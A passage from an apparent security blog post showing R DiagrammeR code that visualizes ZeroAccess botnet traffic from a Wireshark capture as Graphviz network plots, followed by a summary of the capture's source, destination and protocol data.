      graph [overlap = false]      
      
      node [shape = circle,
      style = filled,
      color = black,
      label = '']
      
      node [fillcolor = green]
      a [label = '192.168.248.21']
      
      node [fillcolor = red]
      b [label = '176.53.17.23']
      c [label = '46.191.175.120']
      d [label = '200.112.252.155']
      e [label = '177.77.205.145']
      f [label = '124.39.226.162']
      
      node [fillcolor = orange]
      g [label = 'TCP']
      h [label = 'HTTP']
      
      node [fillcolor = cyan]
      i [label = '60']
      j [label = '220']
      
      edge [color = black]
      a -> {b c d e f}
      b -> a
      c -> a
      d -> a
      e -> a
      f -> a
      
      edge [color = orange]
      g -> {a b c d e f}
      
      edge [color = purple]
      h -> {a b}
      
      edge [color = cyan]
      g -> i
      h -> j
      }",
engine = "circo")

--------------------------------------------------------------------------------------------------------------------------

Visualization 2: Graphviz ZeroAccess network dot plot


Visualization 2 code


library(DiagrammeR)
grViz("
digraph {
      
      graph [overlap = false]      
      
      node [shape = circle,
      style = filled,
      color = black,
      label = '']
      
      node [fillcolor = green]
      a [label = '192.168.248.21']
      
      node [fillcolor = red]
      b [label = '176.53.17.23']
      c [label = '46.191.175.120']
      d [label = '200.112.252.155']
      e [label = '177.77.205.145']
      f [label = '124.39.226.162']
      
      node [fillcolor = orange]
      g [label = 'TCP']
      h [label = 'HTTP']
      
      node [fillcolor = cyan]
      i [label = '60']
      j [label = '220']
      
      edge [color = black]
      a -> {b c d e f}
      b -> a
      c -> a
      d -> a
      e -> a
      f -> a
      
      edge [color = orange]
      g -> {a b c d e f}
      
      edge [color = purple]
      h -> {a b}
      
      edge [color = cyan]
      g -> i
      h -> j
      }",
engine = "dot")

--------------------------------------------------------------------------------------------------------------------------
Visualization 3: Graphviz ZeroAccess network twopi plot


Visualization 3 code

library(DiagrammeR)
grViz("
digraph {
      
      graph [overlap = false]      
      
      node [shape = circle,
      style = filled,
      color = black,
      label = '']
      
      node [fillcolor = green]
      a [label = '192.168.248.21']
      
      node [fillcolor = red]
      b [label = '176.53.17.23']
      c [label = '46.191.175.120']
      d [label = '200.112.252.155']
      e [label = '177.77.205.145']
      f [label = '124.39.226.162']
      
      node [fillcolor = orange]
      g [label = 'TCP']
      h [label = 'HTTP']
      
      node [fillcolor = cyan]
      i [label = '60']
      j [label = '220']
      
      edge [color = black]
      a -> {b c d e f}
      b -> a
      c -> a
      d -> a
      e -> a
      f -> a
      
      edge [color = orange]
      g -> {a b c d e f}
      
      edge [color = purple]
      h -> {a b}
      
      edge [color = cyan]
      g -> i
      h -> j
      }",
engine = "twopi")

--------------------------------------------------------------------------------------------------------------------------

Visualization 4: Graphviz ZeroAccess network neato plot


Visualization 4 code


library(DiagrammeR)
grViz("
digraph {
      
      graph [overlap = false]      
      
      node [shape = circle,
      style = filled,
      color = black,
      label = '']
      
      node [fillcolor = green]
      a [label = '192.168.248.21']
      
      node [fillcolor = red]
      b [label = '176.53.17.23']
      c [label = '46.191.175.120']
      d [label = '200.112.252.155']
      e [label = '177.77.205.145']
      f [label = '124.39.226.162']
      
      node [fillcolor = orange]
      g [label = 'TCP']
      h [label = 'HTTP']
      
      node [fillcolor = cyan]
      i [label = '60']
      j [label = '220']
      
      edge [color = black]
      a -> {b c d e f}
      b -> a
      c -> a
      d -> a
      e -> a
      f -> a
      
      edge [color = orange]
      g -> {a b c d e f}
      
      edge [color = purple]
      h -> {a b}
      
      edge [color = cyan]
      g -> i
      h -> j
      }",
engine = "neato")

Read in a CSV and render plot

Populating graphs arbitrarily as above as examples is nice...for examples. In the real world, you'd likely just want to read in a CSV derived from a Wireshark capture.
As my code is crap at this time, I reduced zeroaccess.csv to just the source and destination columns, I'll incorporate additional data points later. To use this from your own data, reduce CSV columns down to source and destination only.
Code first, with comments to explain, derived directly from Rich Iannone's DiagrammerR example for using data frames to define Graphviz graphs.



Visualization 5 is your result. As you can see, 192.168.248.21 is the center of attention and obviously our ZeroAccess victim. Yay, visualization!

Visualization 5

Following is a quick data summary, but you can grab it from Github too.

Network Data

Summary: zeroaccess.csv

zeroaccess <- span=""> read.csv("zeroaccess.csv", sep = ",")
summary(zeroaccess)

##             Source            Destination  Protocol       Length       
##  192.168.248.21:340   192.168.248.21:152   HTTP: 36   Min.   :  54.00  
##  176.53.17.23  : 90   176.53.17.23  : 90   TCP :456   1st Qu.:  60.00  
##  140.112.251.82:  6   140.112.251.82:  6              Median :  62.00  
##  178.19.22.191 :  6   178.19.22.191 :  6              Mean   :  84.98  
##  89.238.36.146 :  6   89.238.36.146 :  6              3rd Qu.:  62.00  
##  14.96.213.41  :  3   1.160.72.47   :  3              Max.   :1506.00  
##  (Other)       : 41   (Other)       :229

head(zeroaccess)

##           Source    Destination Protocol Length
## 1 192.168.248.21   176.53.17.23      TCP     62
## 2 192.168.248.21   176.53.17.23      TCP     62
## 3 192.168.248.21   176.53.17.23      TCP     62
## 4   176.53.17.23 192.168.248.21      TCP     62
## 5 192.168.248.21   176.53.17.23      TCP     54
## 6 192.168.248.21   176.53.17.23     HTTP    221

In closing

Hopefully this leads you to wanting to explore visualization of security data a bit further, note the reference material in Acknowledgments.
I've stuffed all this material on Github for you as well and will keep working on the CSV import version as well.
Ping me via email or Twitter if you have questions (russ at holisticinfosec dot org or @holisticinfosec). Cheers…until next month.

Acknowledgements

Rich Iannone for DiagrammeR and the using-data-frames-to-define-graphviz-graphs example
Jay and Bob for Data-Driven Security (the security data scientist's bible)